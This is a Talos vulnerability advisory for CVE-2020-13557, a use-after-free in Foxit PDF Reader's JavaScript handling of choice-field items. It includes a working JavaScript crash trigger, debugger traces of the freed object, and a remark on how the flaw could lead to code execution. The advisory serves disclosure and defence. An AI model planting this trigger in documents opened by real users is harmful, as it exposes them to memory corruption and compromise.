Talos Vulnerability Report

TALOS-2020-1171

Foxit Reader JavaScript choice field use-after-free vulnerability

DECEMBER 9, 2020

CVE NUMBER

CVE-2020-13557

Summary

A use after free vulnerability exists in the JavaScript engine of Foxit Software's Foxit PDF Reader, version 10.1.0.37527. A specially crafted PDF document can trigger reuse of previously free memory which can lead to arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Reader Version: 10.1.0.37527

Product URLs

https://www.foxitsoftware.com/pdf-reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe's Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses V8 JavaScript engine.

Javascript support in PDF renderers and editors enables interactive forms which can include different GUI elements such as buttons or text fields. A use after free vulnerability in Foxit Reader can be triggered while executing events that manipulate items of a choice field. Following code demonstrates triggering this vulnerability:

```
function f0() {
var fl = app.activeDocs[0].getField('choiceField');
fl.insertItemAt(0,"b");
fl.setAction("Keystroke",'f1();');
fl.deleteItemAt(0);

}


function f1() {
app.activeDocs[0].getField('choiceField').clearItems();
}


f0();
```

In the above code, function `f0` first sets up a `choiceField` form element with a single item inserted and attaches a `Keystroke` event to it. Events of type `Keystroke` are triggered either when contents of the field changes (via keystroke or otherwise). Deletion of the element at `0` then triggers the event handler which calls `clearItems`. Calling `clearItems` frees the memory associated with choice field objects while the event handler is still being processed. This can be observed in the debugger:

```
0:000> bp FoxitReader!safe_vsnprintf+0x13375e
0:000> bd 0
0:000> g
....
0:017> be 0
0:017> g
Breakpoint 0 hit
eax=00000001 ebx=1d09dff8 ecx=0d8879fb edx=00ba0000 esi=1ffd4fd0 edi=00000001
eip=0259388e esp=00afdd00 ebp=00afdd2c iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
FoxitReader!safe_vsnprintf+0x13375e:
0259388e e8dd9a2d00      call    FoxitReader!safe_vsnprintf+0x40d240 (0286d370)
0:000> g
Breakpoint 0 hit
eax=00000001 ebx=00afde01 ecx=0d88782b edx=00ba0000 esi=1d786fd0 edi=00000002
eip=0259388e esp=00afdd30 ebp=00afdd48 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
FoxitReader!safe_vsnprintf+0x13375e:
0259388e e8dd9a2d00      call    FoxitReader!safe_vsnprintf+0x40d240 (0286d370)
0:000> dd esi
1d786fd0  c0c00005 1fcc8fd0 00000000 00000000
1d786fe0  c0c0c001 00000000 1d09dff8 00000001
1d786ff0  00000001 00000000 00000004 d0d0d0d0
1d787000  ???????? ???????? ???????? ????????
1d787010  ???????? ???????? ???????? ????????
1d787020  ???????? ???????? ???????? ????????
1d787030  ???????? ???????? ???????? ????????
1d787040  ???????? ???????? ???????? ????????
0:000> !heap -p -a esi
    address 1d786fd0 found in
    _DPH_HEAP_ROOT @ ba1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 11d23958:         1d786fd0               2c -         1d786000             2000
    68d4abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7714245b ntdll!RtlDebugAllocateHeap+0x00000039
    770a6dd9 ntdll!RtlpAllocateHeap+0x000000f9
    770a5ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    770a5d3e ntdll!RtlAllocateHeap+0x0000003e
    042239fc FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe8c
    0286d04b FoxitReader!safe_vsnprintf+0x0040cf1b
    0286d5d6 FoxitReader!safe_vsnprintf+0x0040d4a6
    0286d1f3 FoxitReader!safe_vsnprintf+0x0040d0c3
    00e6dc7a FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00024e8a
    026a1d6a FoxitReader!safe_vsnprintf+0x00241c3a
    018575f1 FoxitReader!CryptUIWizExport+0x00204911
    018133b5 FoxitReader!CryptUIWizExport+0x001c06d5
    030bf2bb FoxitReader!FXJSE_GetClass+0x0000022b
    03284fb9 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5739
    0328474f FoxitReader!CFXJSE_Arguments::GetValue+0x001c4ecf
    03284a11 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5191
    032848ab FoxitReader!CFXJSE_Arguments::GetValue+0x001c502b
    0342be47 FoxitReader!CFXJSE_Arguments::GetValue+0x0036c5c7
    033ba780 FoxitReader!CFXJSE_Arguments::GetValue+0x002faf00
    033ba780 FoxitReader!CFXJSE_Arguments::GetValue+0x002faf00
    033b830f FoxitReader!CFXJSE_Arguments::GetValue+0x002f8a8f
    033b812b FoxitReader!CFXJSE_Arguments::GetValue+0x002f88ab
    030f5726 FoxitReader!CFXJSE_Arguments::GetValue+0x00035ea6
    030f5207 FoxitReader!CFXJSE_Arguments::GetValue+0x00035987
    030e2517 FoxitReader!CFXJSE_Arguments::GetValue+0x00022c97
    030bda0f FoxitReader!FXJSE_Runtime_Release+0x00000c4f
    030be224 FoxitReader!FXJSE_ExecuteScript+0x00000014
    017b62e2 FoxitReader!CryptUIWizExport+0x00163602
    017b70fd FoxitReader!CryptUIWizExport+0x0016441d
    0141414d FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0027fa6d
    01412f0e FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0027e82e
```

In the above, we set a breakpoint inside the event handler, but before the object in question is freed. Object to be freed is pointed to by `esi` and we can see its allocation size is 0x2c. Continuing execution just after this function call (after the call to `clearItems` is made in signal handler) shows the following state of the same chunk of memory:

```
0:000> p
eax=00000001 ebx=00afde01 ecx=0d88782f edx=00ba0000 esi=1d786fd0 edi=00000002
eip=02593893 esp=00afdd30 ebp=00afdd48 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
FoxitReader!safe_vsnprintf+0x133763:
02593893 83c404          add     esp,4
0:000> dd 1d786fd0
1d786fd0  ???????? ???????? ???????? ????????
1d786fe0  ???????? ???????? ???????? ????????
1d786ff0  ???????? ???????? ???????? ????????
1d787000  ???????? ???????? ???????? ????????
1d787010  ???????? ???????? ???????? ????????
1d787020  ???????? ???????? ???????? ????????
1d787030  ???????? ???????? ???????? ????????
1d787040  ???????? ???????? ???????? ????????
0:000> !heap -p -a 1d786fd0
    address 1d786fd0 found in
    _DPH_HEAP_ROOT @ ba1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                 11d23958:         1d786000             2000
    68d4ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77142c91 ntdll!RtlDebugFreeHeap+0x0000003e
    770a3c45 ntdll!RtlpFreeHeap+0x000000d5
    770a3812 ntdll!RtlFreeHeap+0x00000222
    042239a6 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe36
    0420180f FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002c9c9f
    0286d0ab FoxitReader!safe_vsnprintf+0x0040cf7b
    0286d73e FoxitReader!safe_vsnprintf+0x0040d60e
    0286d3a2 FoxitReader!safe_vsnprintf+0x0040d272
    02593893 FoxitReader!safe_vsnprintf+0x00133763
    026a0303 FoxitReader!safe_vsnprintf+0x002401d3
    01854935 FoxitReader!CryptUIWizExport+0x00201c55
    01811b55 FoxitReader!CryptUIWizExport+0x001bee75
    030bf2bb FoxitReader!FXJSE_GetClass+0x0000022b
    03284fb9 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5739
    0328474f FoxitReader!CFXJSE_Arguments::GetValue+0x001c4ecf
    03284a11 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5191
    032848ab FoxitReader!CFXJSE_Arguments::GetValue+0x001c502b
    0342be47 FoxitReader!CFXJSE_Arguments::GetValue+0x0036c5c7
    033ba780 FoxitReader!CFXJSE_Arguments::GetValue+0x002faf00
    033ba780 FoxitReader!CFXJSE_Arguments::GetValue+0x002faf00
    033b830f FoxitReader!CFXJSE_Arguments::GetValue+0x002f8a8f
    033b812b FoxitReader!CFXJSE_Arguments::GetValue+0x002f88ab
    030f5726 FoxitReader!CFXJSE_Arguments::GetValue+0x00035ea6
    030f5207 FoxitReader!CFXJSE_Arguments::GetValue+0x00035987
    030e2517 FoxitReader!CFXJSE_Arguments::GetValue+0x00022c97
    030bda0f FoxitReader!FXJSE_Runtime_Release+0x00000c4f
    030be224 FoxitReader!FXJSE_ExecuteScript+0x00000014
    017b62e2 FoxitReader!CryptUIWizExport+0x00163602
    017b70fd FoxitReader!CryptUIWizExport+0x0016441d
    01414405 FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0027fd25
    01411a5b FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0027d37b
```

Clearly, the same memory is now freed. Function `clearItems` is now done and the rest of event handler can be executed. Continuing the execution leads to the following crash:

```
0:000> bd 0
0:000> g
(14b8.23fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=1d786fd0 edx=00afe434 esi=00000000 edi=1d786fd0
eip=0259636a esp=00afe450 ebp=00afe458 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
FoxitReader!safe_vsnprintf+0x13623a:
0259636a 3b771c          cmp     esi,dword ptr [edi+1Ch] ds:002b:1d786fec=????????
0:000> dd edi
1d786fd0  ???????? ???????? ???????? ????????
1d786fe0  ???????? ???????? ???????? ????????
1d786ff0  ???????? ???????? ???????? ????????
1d787000  ???????? ???????? ???????? ????????
1d787010  ???????? ???????? ???????? ????????
1d787020  ???????? ???????? ???????? ????????
1d787030  ???????? ???????? ???????? ????????
1d787040  ???????? ???????? ???????? ????????
```

This shows a crash while dereferencing the same chunk of memory (now pointed to by `edi`) that was previously freed. This constitutes a use-after-free condition.

From observing Javascript execution, we can conclude that the use-after-free happens after memory is freed, but before the event handler invocation code is finished. This means that an attacker can place additional Javascript code after freeing the memory, giving them a chance to take control of it to be reused. In the crashing function, pointer in `edi` is actually `this` pointer which, with careful memory manipulation, can lead to further memory corruption and ultimately arbitrary code execution.

Timeline

2020-10-19 - Vendor Disclosure

2020-12-09 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.
